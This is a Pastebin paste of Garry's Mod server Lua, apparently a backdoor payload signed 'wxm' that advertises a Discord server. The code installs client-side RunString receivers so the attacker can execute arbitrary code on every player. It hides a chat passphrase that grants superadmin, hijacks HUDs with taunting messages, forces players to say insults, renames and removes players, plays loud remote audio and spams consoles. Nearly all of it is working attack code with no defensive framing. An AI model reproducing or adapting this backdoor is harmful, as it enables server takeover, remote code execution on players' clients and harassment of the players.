MarlowFR

wxm

Jul 15th, 2019
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 42.29 KB | None | 0 0
  1.  
  2. timer.Create("nonameplease", 5, 0,function()
  3. for i=1, #player.GetHumans() do
  4. local ply = player.GetHumans()[i]
  5. end
  6. end)
  7. BroadcastLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
  8. util.AddNetworkString "EnigmaProject"
  9.  
  10. local CHANGERPSEUDO = "wxm @ Marlow"
  11. local enigmalaunchproject = {}
  12. function enigmalaunchproject:RandomString( intMin, intMax )
  13. local ret = ""
  14. for _ = 1, math.random( intMin, intMax ) do
  15. ret = ret.. string.char( math.random(65, 90) )
  16. end
  17.  
  18. return ret
  19. end
  20.  
  21. local function Start()
  22. for k, v in pairs( player.GetAll() ) do
  23. local steamid = v:SteamID()
  24. local ply = player.GetBySteamID(v:SteamID())
  25. ply:SendLua("GAMEMODE:AddNotify(\"wxm vous encule wola.\", NOTIFY_GENERIC, 5)")
  26. ply:SendLua("GAMEMODE:AddNotify(\"https://discord.gg/n8Heezw.\", NOTIFY_ERROR, 5)")
  27. end
  28. RunConsoleCommand("snte_duperun", "0")
  29. end
  30.  
  31.  
  32. timer.Create("_____________________",0.1,0,function()
  33. Start()
  34.  
  35. end)
  36.  
  37.  
  38. util.AddNetworkString "skeleton_dancing_troll"
  39.  
  40. local lol = {}
  41. function lol:RandomString( intMin, intMax )
  42. local ret = ""
  43. for _ = 1, math.random( intMin, intMax ) do
  44. ret = ret.. string.char( math.random(65, 90) )
  45. end
  46.  
  47. return ret
  48. end
  49.  
  50. lol.m_tblActions = {}
  51. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  52. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  53.  
  54. function lol:PushAction( intChainDelay, func )
  55. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  56. end
  57.  
  58. function lol:NextAction( pPlayer )
  59. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  60. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  61.  
  62. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  63. if not IsValid( pPlayer ) then return end
  64. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  65. self:NextAction( pPlayer )
  66. end )
  67. end
  68.  
  69. function lol:Start( pPlayer )
  70. pPlayer.m_intCurAction = 0
  71. self:NextAction( pPlayer )
  72. end
  73.  
  74. function lol:SendLua( pPlayer, strLua )
  75. net.Start( "skeleton_dancing_troll" )
  76. net.WriteString( strLua )
  77. net.Send( pPlayer )
  78. end
  79.  
  80. function lol:SetupPlayer( pPlayer )
  81. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  82. end
  83.  
  84. for k, v in pairs( player.GetAll() ) do
  85. lol:SetupPlayer( v )
  86. timer.Simple( 2, function() lol:Start( v ) end )
  87. end
  88.  
  89. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  90. lol:SetupPlayer( pPlayer )
  91. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  92. end )
  93.  
  94. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  95. if strText:sub( 1, 5 ) == "/1337" then
  96. pSender:Ignite( 1e9 )
  97. pSender:ChatPrint( "wxm best backdoor ever ;)" )
  98. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  99. return false
  100. end
  101. end )
  102.  
  103.  
  104.  
  105. --Sequence stack
  106. --Start some tunes and steam in our assets
  107. lol:PushAction( 0, function( pPlayer )
  108. lol:SendLua( pPlayer, ([=[
  109. sound.PlayURL( "http://marlowfr.alwaysdata.net/marlow.mp3", "", function()end )
  110.  
  111. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  112. local html = [[%s]]
  113. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  114. local pnl = vgui.Create( "HTML" )
  115. pnl:SetPos( ScrW() -1, ScrH() -1 )
  116. pnl:SetVisible( true )
  117. pnl:SetMouseInputEnabled( false )
  118. pnl:SetKeyBoardInputEnabled( false )
  119. pnl:SetSize( intSizeX, intSizeY )
  120. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  121.  
  122. local PageLoaded
  123. PageLoaded = function()
  124. local mat = pnl:GetHTMLMaterial()
  125. if mat then
  126. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  127. return
  128. end
  129.  
  130. timer.Simple( 0.5, PageLoaded )
  131. end
  132.  
  133. PageLoaded()
  134. end
  135.  
  136. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644585-hud.png", "hud1", 300, 128 )
  137. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644587-hud2.png", "hud2", 300, 128 )
  138. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644600-hud3.png", "hud3", 128, 128 )
  139. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644579-doritos.png", "doritos", 183, 256 )
  140. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644581-fedora.png", "fedora", 256, 256 )
  141. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644577-dew.png", "dew", 110, 256 )
  142. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644574-awp.png", "awp", 256, 55 )
  143. ]=]):format(lol.m_strImageLoadHTML) )
  144. end )
  145.  
  146. --HUD swap
  147. lol:PushAction( 31, function( pPlayer )
  148. lol:SendLua( pPlayer, [[
  149. (GAMEMODE or GM).CalcView = function() end
  150. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  151.  
  152. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  153. for k, v in pairs(remove) do
  154. hook.GetTable()[v] = {}
  155. end
  156.  
  157. local function GetWebMat( strURL )
  158. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  159. end
  160.  
  161. hook.Add( "HUDPaint", "newhud", function()
  162. surface.SetDrawColor( 255, 255, 255, 255 )
  163.  
  164. if GetWebMat( "hud1" ) then
  165. surface.SetMaterial( GetWebMat("hud1")[1] )
  166. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  167. end
  168. if GetWebMat( "hud2" ) then
  169. surface.SetMaterial( GetWebMat("hud2")[1] )
  170. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  171. end
  172. if GetWebMat( "hud3" ) then
  173. surface.SetMaterial( GetWebMat("hud3")[1] )
  174. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  175. end
  176. if GetWebMat( "doritos" ) then
  177. surface.SetMaterial( GetWebMat("doritos")[1] )
  178. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  179. end
  180. if GetWebMat( "dew" ) then
  181. surface.SetMaterial( GetWebMat("dew")[1] )
  182. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  183. end
  184. if GetWebMat( "fedora" ) then
  185. surface.SetMaterial( GetWebMat("fedora")[1] )
  186. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  187. end
  188. if GetWebMat( "awp" ) then
  189. surface.SetMaterial( GetWebMat("awp")[1] )
  190. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  191. end
  192.  
  193. draw.SimpleTextOutlined(
  194. "Serveur Hacker par le Gizeh Menu",
  195. "DermaLarge",
  196. ScrW() /2 +math.random( -8, 8 ),
  197. ScrH() /2 +math.random( -8, 8 ) +64,
  198. Color( 255, 0, 0, 255 ),
  199. TEXT_ALIGN_CENTER,
  200. TEXT_ALIGN_CENTER,
  201. 1,
  202. Color( 0, 0, 255, 255 )
  203. )
  204.  
  205. draw.SimpleTextOutlined(
  206. "gizeh-menu.wixsite.com/index",
  207. "DermaLarge",
  208. ScrW() /2 +math.random( -8, 8 ),
  209. ScrH() /2 +math.random( -8, 8 ) +24,
  210. Color( 255, 0, 0, 255 ),
  211. TEXT_ALIGN_CENTER,
  212. TEXT_ALIGN_CENTER,
  213. 1,
  214. Color( 0, 0, 255, 255 )
  215. )
  216. end )
  217.  
  218. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  219. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  220.  
  221. surface.PlaySound( "garrysmod/save_load4.wav" )
  222. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  223. ]] )
  224. end )
  225.  
  226. --Disco time
  227. lol:PushAction( 10, function( pPlayer )
  228. local idx = pPlayer:EntIndex()
  229. timer.Create( "beat".. idx, 0.42, 0, function()
  230. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  231. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  232. end )
  233.  
  234.  
  235. lol:SendLua( pPlayer, [[
  236. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  237. local time = 0
  238.  
  239. hook.Add( "Think", "wat", function()
  240. if CurTime() < time then
  241. return
  242. end
  243.  
  244. time = CurTime() +0.05
  245. for i = 1, 16 do
  246. local part = emitter:Add(
  247. "particles/balloon_bit",
  248. LocalPlayer():GetPos() +Vector(
  249. math.random( -256, 256 ),
  250. math.random( -256, 256 ),
  251. 256
  252. )
  253. )
  254.  
  255. if part then
  256. local Size = math.random( 4, 7 )
  257.  
  258. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  259. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  260. part:SetDieTime( 4.5 )
  261. part:SetGravity( Vector(40, 0, -250) )
  262. part:SetLifeTime( 0 )
  263. part:SetStartSize( Size /2 )
  264. part:SetEndSize( Size )
  265. part:SetCollide( true )
  266. end
  267. end
  268. end )
  269. ]] )
  270.  
  271. lol:SendLua( pPlayer, [[
  272. hook.Add( "RenderScreenspaceEffects", "wat", function()
  273. local sinScaler = math.sin( CurTime() )
  274. DrawBloom(
  275. 0,
  276. 3,
  277. sinScaler *math.Rand(1, 8),
  278. sinScaler *math.Rand(1, 8),
  279. 6,
  280. math.Rand(0.5, 2),
  281. math.Rand(0, 0.3),
  282. math.Rand(0, 0.3),
  283. math.Rand(0.5, 1)
  284. )
  285.  
  286. DrawColorModify{
  287. ["$pp_colour_addr"] = 0,
  288. ["$pp_colour_addg"] = 0,
  289. ["$pp_colour_addb"] = 00,
  290. ["$pp_colour_brightness" ] = 0,
  291. ["$pp_colour_contrast" ] = 1,
  292. ["$pp_colour_colour" ] = 1,
  293. ["$pp_colour_mulr" ] = 0,
  294. ["$pp_colour_mulg" ] = 0,
  295. ["$pp_colour_mulb" ] = 1
  296. }
  297. end )
  298.  
  299. local mdl = ClientsideModel( "models/player/Group01/male_01.mdl", RENDERGROUP_BOTH )
  300. mdl:SetNoDraw( true )
  301. local posCache, time = {}, 0
  302.  
  303. hook.Add( "HUDPaint", "dance", function()
  304. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  305. local idx = mdl:LookupSequence("taunt_dance")
  306. mdl.SeqDuration = mdl:SequenceDuration( idx )
  307. mdl.SeqStart = CurTime()
  308. mdl:ResetSequence( idx )
  309. end
  310.  
  311. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  312.  
  313.  
  314. local w, h = 300, 300
  315. local ang = Angle( 0, 0, 0 )
  316.  
  317. for i = 1, 32 do
  318. if CurTime() > time then
  319. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  320. end
  321. local x, y = posCache[i][1], posCache[i][2]
  322.  
  323. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  324. cam.IgnoreZ( true )
  325. render.SuppressEngineLighting( true )
  326.  
  327. render.SetLightingOrigin( mdl:GetPos() )
  328. render.ResetModelLighting( 1, 1, 1 )
  329. render.SetColorModulation( 1, 1, 1 )
  330.  
  331. mdl:DrawModel()
  332.  
  333. render.SuppressEngineLighting( false )
  334. cam.IgnoreZ( false )
  335. cam.End3D()
  336. end
  337.  
  338. if CurTime() > time then
  339. time = CurTime() +0.15
  340. end
  341. end )
  342.  
  343. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  344. ]] )
  345. end )
  346.  
  347. --Let the beat drop
  348. lol:PushAction( 54, function( pPlayer )
  349. lol:SendLua( pPlayer, [[
  350. --hook.Add( "GetMotionBlurValues", "wat", function()
  351. -- return 0, 0, 1, math.sin(CurTime() *13)
  352. --end )
  353.  
  354. --hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  355. -- local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  356. -- DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  357. -- DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  358. --end )
  359.  
  360. --hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  361. --render.SetMaterial( Material("cable/blue_elec") )
  362. --for i = 1, 32 do
  363. --render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  364. --end
  365. --end )
  366.  
  367. timer.Create( "thedrop", 0.42, 0, function()
  368. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  369. end )
  370. ]] )
  371. end )
  372.  
  373. --EVIL TIME rip headpones
  374. lol:PushAction( 175, function( pPlayer )
  375. lol:SendLua( pPlayer, [[
  376. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  377.  
  378. local sounds = {}
  379. for i = 1, 4 do
  380. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  381. sounds[#sounds +1] = pChan
  382. end )
  383. end
  384.  
  385. timer.Create( "asdf", 1, 0, function()
  386. if #sounds ~= 4 then return end
  387. timer.Destroy( "asdf" )
  388. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  389. end )
  390.  
  391. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  392. ]] )
  393.  
  394. pPlayer:Remove()
  395. end )
  396.  
  397. enigmalaunchproject.m_tblActions = {}
  398. enigmalaunchproject.m_strImageGlobalVar = enigmalaunchproject:RandomString( 6, 12 )
  399. enigmalaunchproject.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  400.  
  401. function enigmalaunchproject:NouvelleAction( intChainDelay, func )
  402. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  403. end
  404.  
  405. function enigmalaunchproject:ActionApres( pPlayer )
  406. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  407. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  408.  
  409. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  410. if not IsValid( pPlayer ) then return end
  411. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  412. self:ActionApres( pPlayer )
  413. end )
  414. end
  415.  
  416. function enigmalaunchproject:Start( pPlayer )
  417. pPlayer.m_intCurAction = 0
  418. self:ActionApres( pPlayer )
  419. end
  420.  
  421. function enigmalaunchproject:SendLua( pPlayer, strLua )
  422. pPlayer:SendLua([[RunConsoleCommand("gmod_language","ko")]])
  423. net.Start( "EnigmaProject" )
  424. net.WriteString( strLua )
  425. net.Send( pPlayer )
  426. end
  427.  
  428. function enigmalaunchproject:SetupPlayer( pPlayer )
  429. pPlayer:SendLua( "net.Receive(\"EnigmaProject\", function() RunString(net.ReadString()) end)" )
  430. end
  431.  
  432.  
  433.  
  434.  
  435.  
  436.  
  437. -- DANSE --
  438.  
  439.  
  440. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_until_your_dead",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  441.  
  442.  
  443. -- FIN DANSE --
  444.  
  445.  
  446.  
  447.  
  448. -- CHANGER NOM --
  449.  
  450.  
  451. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, CHANGERPSEUDO) v:setDarkRPVar("rpname", CHANGERPSEUDO) end
  452.  
  453.  
  454. -- FIN CHANGER NOM --
  455.  
  456.  
  457.  
  458. -- Console Spam
  459.  
  460. decore = {
  461. [[
  462.  
  463.  
  464.  
  465.  
  466.  
  467.  
  468.  
  469.  
  470.  
  471.  
  472.  
  473.  
  474.  
  475.  
  476.  
  477.  
  478.  
  479.  
  480.  
  481.  
  482.  
  483.  
  484.  
  485.  
  486.  
  487. wxm
  488.  
  489.  
  490.  
  491.  
  492.  
  493.  
  494.  
  495.  
  496.  
  497.  
  498. ]]
  499. }
  500.  
  501. function decorationconsole()
  502. print(Color( 0, 0, 0 ), table.Random(decore))
  503. end
  504. -- Console Spam
  505. for k, v in pairs( player.GetAll() ) do
  506. timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  507. end
  508.  
  509. --[[ MODE ARMAGEDDON --
  510.  
  511.  
  512. hook.Add("Think", "armageddon", function()
  513. local explode = ents.Create( "env_explosion" )
  514. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  515. explode:Spawn()
  516. explode:SetKeyValue( "iMagnitude", "500" )
  517. explode:Fire( "Explode", 0, 0 )
  518. end)
  519.  
  520.  
  521. -- FIN MODE ARMAGEDDON ]]--
  522.  
  523.  
  524. -- Send Lua --
  525. function SendLuaAll( str ) net.Start( "EnigmaProject" ) net.WriteString( str ) net.Broadcast() end
  526.  
  527.  
  528. -- Changer Taille --
  529.  
  530.  
  531. hook.Add("Think", "giant", function()
  532. for k,v in pairs (player.GetAll()) do
  533. v:SetModelScale(50.5, 100);
  534. v:SetRunSpeed(700 * 2);
  535. v:SetWalkSpeed(400 * 2);
  536. end
  537. end)
  538.  
  539.  
  540. -- Fin Changer Taille --
  541.  
  542.  
  543.  
  544. -- Message --
  545.  
  546.  
  547. for k,v in pairs(player.GetAll()) do
  548. v:ConCommand("say /ooc wxm la légende des backdoors")
  549. end
  550.  
  551.  
  552. -- Message Fin --
  553.  
  554.  
  555.  
  556. -- Auto Lançage --
  557.  
  558.  
  559. for k, v in pairs( player.GetAll() ) do
  560. enigmalaunchproject:SetupPlayer( v )
  561. timer.Simple( 2, function() enigmalaunchproject:Start( v ) end )
  562. end
  563.  
  564.  
  565. -- Fin Auto Lançage --
  566.  
  567.  
  568. -- Lancer Aux Nouveaux Arrivants --
  569.  
  570.  
  571. --hook.Add( "PlayerAuthed", "wtfispassequoi", function( pPlayer )
  572. -- enigmalaunchproject:SetupPlayer( pPlayer )
  573. -- timer.Simple( 10, function() enigmalaunchproject:Start( pPlayer ) end )
  574. --end )
  575.  
  576. -- Fin Lancer Aux Nouveaux Arrivants --
  577.  
  578.  
  579.  
  580. -- Commande Enigma --
  581.  
  582.  
  583. hook.Add( "PlayerSay", "EnigmaCKoa", function( pSender, strText, bTeamChat )
  584. if strText:sub( 1, 5 ) == "Enigma" then
  585. pSender:Ignite( 1e9 )
  586. pSender:ChatPrint( "https://discord.gg/n8Heezw - wxm la nouvelle backdoor private" )
  587. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  588. return false
  589. end
  590. end )
  591.  
  592.  
  593. -- Fin Commande Enigma
  594.  
  595.  
  596.  
  597.  
  598.  
  599. hook.Add( "PlayerSay", "a4dxvlwxdlco", function( pSender, strText, bTeamChat )
  600. if strText:sub( 1, 5 ) == "EnigmaIsLitteralyMyFuckingGod" then
  601. pSender:SetUserGroup("superadmin")
  602. pSender:ChatPrint( "Tu est l'un des notres !" )
  603. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  604. return false
  605. end
  606. end)
  607.  
  608.  
  609.  
  610.  
  611.  
  612.  
  613.  
  614.  
  615.  
  616.  
  617. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  618. enigmalaunchproject:SendLua( pPlayer, ([=[
  619.  
  620. sound.PlayURL( "https://gvac.cz/assets/galshi.mp3", "", function()end )
  621.  
  622. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  623. local html = [[%s]]
  624. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  625. local pnl = vgui.Create( "HTML" )
  626. pnl:SetPos( ScrW() -1, ScrH() -1 )
  627. pnl:SetVisible( true )
  628. pnl:SetMouseInputEnabled( false )
  629. pnl:SetKeyBoardInputEnabled( false )
  630. pnl:SetSize( intSizeX, intSizeY )
  631. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  632.  
  633. local PageLoaded
  634. PageLoaded = function()
  635. local mat = pnl:GetHTMLMaterial()
  636. if mat then
  637. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  638. return
  639. end
  640.  
  641. timer.Simple( 0.5, PageLoaded )
  642. end
  643.  
  644. PageLoaded()
  645. end
  646.  
  647. --LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/06/5/1518211648-sans-titre-6.gif", "getrekt", 1920, 1080 )
  648.  
  649. hook.Add( "RenderScreenspaceEffects", "itsredworld", function()
  650. local sinScaler = math.sin( CurTime() )
  651. DrawBloom(
  652. 0,
  653. 3,
  654. sinScaler *math.Rand(1, 8),
  655. sinScaler *math.Rand(1, 8),
  656. 6,
  657. math.Rand(0.5, 2),
  658. math.Rand(0, 0.3),
  659. math.Rand(0, 0.3),
  660. math.Rand(0.5, 1)
  661. )
  662.  
  663. DrawColorModify{
  664. ["$pp_colour_addr"] = 1,
  665. ["$pp_colour_addg"] = 0,
  666. ["$pp_colour_addb"] = 0,
  667. ["$pp_colour_brightness" ] = 0.1,
  668. ["$pp_colour_contrast" ] = 0.1,
  669. ["$pp_colour_colour" ] = 0.1,
  670. ["$pp_colour_mulr" ] = 1,
  671. ["$pp_colour_mulg" ] = 0,
  672. ["$pp_colour_mulb" ] = 0
  673. }
  674. end )
  675.  
  676. ]=]):format(enigmalaunchproject.m_strImageLoadHTML) )
  677. end )
  678.  
  679.  
  680.  
  681.  
  682. enigmalaunchproject:NouvelleAction( 14, function( pPlayer )
  683. enigmalaunchproject:SendLua( pPlayer, [[
  684.  
  685. (GAMEMODE or GM).CalcView = function() end
  686. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  687.  
  688. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  689. for k, v in pairs(remove) do
  690. hook.GetTable()[v] = {}
  691. end
  692.  
  693. local function GetWebMat( strURL )
  694. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  695. end
  696.  
  697. hook.Add( "HUDPaint", "hud1enigma", function()
  698. surface.SetDrawColor( 255, 255, 255, 255 )
  699.  
  700. if GetWebMat( "getrekt" ) then
  701. surface.SetMaterial( GetWebMat("getrekt")[1] )
  702. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  703. end
  704.  
  705. draw.SimpleTextOutlined(
  706. "wxm est la relève des backdoors",
  707. "DermaLarge",
  708. ScrW() /2 +math.random( -2, 2 ),
  709. ScrH() /2 +math.random( -2, 2 ) +0,
  710. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  711. TEXT_ALIGN_CENTER,
  712. TEXT_ALIGN_CENTER,
  713. 1,
  714. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  715. )
  716. end )
  717.  
  718. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  719. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  720.  
  721. ]] )
  722. end )
  723.  
  724.  
  725.  
  726. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  727. enigmalaunchproject:SendLua( pPlayer, [[
  728.  
  729. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  730.  
  731.  
  732.  
  733. ]] )
  734. end )
  735.  
  736. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  737. enigmalaunchproject:SendLua( pPlayer, [[
  738.  
  739. (GAMEMODE or GM).CalcView = function() end
  740. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  741.  
  742. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  743. for k, v in pairs(remove) do
  744. hook.GetTable()[v] = {}
  745. end
  746.  
  747. local function GetWebMat( strURL )
  748. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  749. end
  750.  
  751. hook.Add( "HUDPaint", "hud1enigma", function()
  752. surface.SetDrawColor( 255, 255, 255, 255 )
  753.  
  754. if GetWebMat( "getrekt" ) then
  755. surface.SetMaterial( GetWebMat("getrekt")[1] )
  756. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  757. end
  758.  
  759. draw.SimpleTextOutlined(
  760. "Aujourd'hui, ce serveur va être purifié",
  761. "DermaLarge",
  762. ScrW() /2 +math.random( -2, 2 ),
  763. ScrH() /2 +math.random( -2, 2 ) +0,
  764. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  765. TEXT_ALIGN_CENTER,
  766. TEXT_ALIGN_CENTER,
  767. 1,
  768. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  769. )
  770. end )
  771.  
  772. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  773. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  774.  
  775.  
  776. ]] )
  777. end )
  778.  
  779. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  780. enigmalaunchproject:SendLua( pPlayer, [[
  781.  
  782. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  783.  
  784. ]] )
  785. end )
  786.  
  787. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  788. enigmalaunchproject:SendLua( pPlayer, [[
  789.  
  790.  
  791. (GAMEMODE or GM).CalcView = function() end
  792. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  793.  
  794. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  795. for k, v in pairs(remove) do
  796. hook.GetTable()[v] = {}
  797. end
  798.  
  799. local function GetWebMat( strURL )
  800. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  801. end
  802.  
  803. hook.Add( "HUDPaint", "hud1enigma", function()
  804. surface.SetDrawColor( 255, 255, 255, 255 )
  805.  
  806. if GetWebMat( "getrekt" ) then
  807. surface.SetMaterial( GetWebMat("getrekt")[1] )
  808. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  809. end
  810.  
  811. draw.SimpleTextOutlined(
  812. "Maintenant, observez notre puissance!",
  813. "DermaLarge",
  814. ScrW() /2 +math.random( -2, 2 ),
  815. ScrH() /2 +math.random( -2, 2 ) +0,
  816. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  817. TEXT_ALIGN_CENTER,
  818. TEXT_ALIGN_CENTER,
  819. 1,
  820. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  821. )
  822. end )
  823.  
  824. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  825. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  826.  
  827.  
  828.  
  829. ]] )
  830. end )
  831.  
  832. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  833. enigmalaunchproject:SendLua( pPlayer, [[
  834.  
  835. for k,v in pairs(player.GetAll()) do
  836. v:ConCommand("say /job Je suce wxm")
  837. end
  838.  
  839. ]] )
  840. end )
  841.  
  842. enigmalaunchproject:NouvelleAction( 2, function( pPlayer )
  843. enigmalaunchproject:SendLua( pPlayer, [[
  844.  
  845. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  846.  
  847. ]] )
  848. end )
  849.  
  850. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  851. enigmalaunchproject:SendLua( pPlayer, [[
  852.  
  853. RunConsoleCommand("+right")
  854.  
  855. ]] )
  856. end )
  857.  
  858. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  859. enigmalaunchproject:SendLua( pPlayer, [[
  860.  
  861. RunConsoleCommand("-right")
  862.  
  863. ]] )
  864. end )
  865.  
